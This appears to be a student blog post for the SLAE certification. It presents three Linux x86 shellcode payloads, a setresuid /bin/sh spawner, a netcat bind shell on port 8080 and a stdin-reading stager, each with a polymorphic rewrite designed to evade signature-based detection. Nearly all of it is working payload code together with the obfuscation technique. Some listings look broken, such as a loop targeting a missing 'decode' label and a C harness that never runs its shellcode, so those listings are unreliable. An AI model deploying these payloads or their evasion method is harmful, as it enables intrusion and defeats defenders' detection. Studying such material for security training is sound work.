Assignment 6 of the SecurityTube Linux Assembly Expert Certification consists of taking three shellcode samples from and creating polymorphic examples that are no larger than 150% the original size.

The goal of this task is to mimic the same original functionality, but to beat pattern matching techniques that could be used to fingerprint the payload.

Below are the three samples that I chose to use and the polymorphic version of each that I created.

Sample 1: setresuid(0,0,0)-/bin/sh

Original code:

xor eax, eax
xor ebx, ebx
xor ecx, ecx
mov BYTE al, 0xa4
int 0x80

;execve("/bin//sh", ["/bin//sh", NULL], [NULL])
push BYTE 11
pop eax
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push ecx
mov edx, esp
push ebx
mov ecx, esp
int 0x80

Polymorphic code:

global _start

section .text
    ; setresuid(0,0,0)
    lea     eax, [0xab32a1a5]
    sub     eax, 0xab32a101
    mov     ebx, edx
    mov     ecx, ebx
    int     0x80

    ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
    push    ebx
    xor     eax, eax
    mov     al, 0xb
    mov     edi, 0xd34db3ef
    mov     ebx, 0xbb3e9cc0
    xor     ebx, edi
    push    ebx
    mov     ebx, 0xbd24d1c0
    xor     ebx, edi
    push    ebx
    push    edx
    lea     ebx, [esp + 4]
    int     0x80

Sample 2: netcat bindshell port 8080

Original code:

00000000  EB2A              jmp short 0x2c
00000002  5E                pop esi
00000003  31C0              xor eax,eax
00000005  884607            mov [esi+0x7],al
00000008  88460F            mov [esi+0xf],al
0000000B  884619            mov [esi+0x19],al
0000000E  89761A            mov [esi+0x1a],esi
00000011  8D5E08            lea ebx,[esi+0x8]
00000014  895E1E            mov [esi+0x1e],ebx
00000017  8D5E10            lea ebx,[esi+0x10]
0000001A  895E22            mov [esi+0x22],ebx
0000001D  894626            mov [esi+0x26],eax
00000020  B00B              mov al,0xb
00000022  89F3              mov ebx,esi
00000024  8D4E1A            lea ecx,[esi+0x1a]
00000027  8D5626            lea edx,[esi+0x26]
0000002A  CD80              int 0x80
0000002C  E8D1FFFFFF        call 0x2
00000031  2F                das
00000032  62696E            bound ebp,[ecx+0x6e]
00000035  2F                das
00000036  6E                outsb
00000037  6323              arpl [ebx],sp
00000039  2D6C703830        sub eax,0x3038706c
0000003E  3830              cmp [eax],dh
00000040  232D652F6269      and ebp,[dword 0x69622f65]
00000046  6E                outsb
00000047  2F                das
00000048  7368              jnc 0xb2
0000004A  23                db 0x23

Polymorphic code:

global _start

section .text
    mov   edi, 0x01010101
    mov   ecx, edi
    xor   ecx, edi

    push  0x01010169
    push  0x722e6f68
    push  0x632e642c
    push  0x01303931
    push  0x39716d2c
    push  0x01626f2e
    push  0x6f68632e
    push  edi

    mov   cl, 0x8
    mov   bl, 0x4

    mov   eax, ecx
    sub   eax, 0x1
    mul   ebx
    xor   [esp + eax], edi
    loop  decode

    mov   al, 0xc
    sub   al, 0x1
    lea   ebx, [esp + 0x4]
    lea   edx, [ebx + 0x8]
    push  edx
    lea   edx, [ebx + 0x10]
    push  edx
    push  ebx
    lea   ecx, [esp]
    xor   edx, edx
    int   0x80

Sample 3: stager that reads second stage shellcode (127 bytes maximum) from stdin

Original code:

 * (linux/x86) stagger that reads second stage shellcode (127 bytes maximum) from stdin - 14 bytes
 * _fkz / twitter: @_fkz
 * sc = "\x6A\x7F\x5A\x54\x59\x31\xDB\x6A\x03\x58\xCD\x80\x51\xC3"
 * Example of use:
 * (echo -ne "\xseconde stage shellcode\x"; cat) | ./stager

 char shellcode[] =

 		"\x6A\x7F"		//	push	byte	+0x7F
 		"\x5A"			//	pop		edx
 		"\x54"			//	push	esp
 		"\x59"			//	pop		esp
 		"\x31\xDB"		//	xor		ebx,ebx
 		"\x6A\x03"		//	push	byte	+0x3
 		"\x58"			//	pop		eax
 		"\xCD\x80"		//	int		0x80
 		"\x51"			//	push	ecx
 		"\xC3";			//	ret

int main(int argc, char *argv[])
	void (*execsh)() = (void *)&shellcode;
	return 0;

Polymorphic code:

global _start

section .text
    lea   ecx, [esp]
    xor   eax, eax
    mov   ebx, edx
    mov   eax, ebx
    mov   al, 0x3
    mov   dl, 0x7f
    int   0x80
    call  ecx

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1340

All source files can be found on GitHub at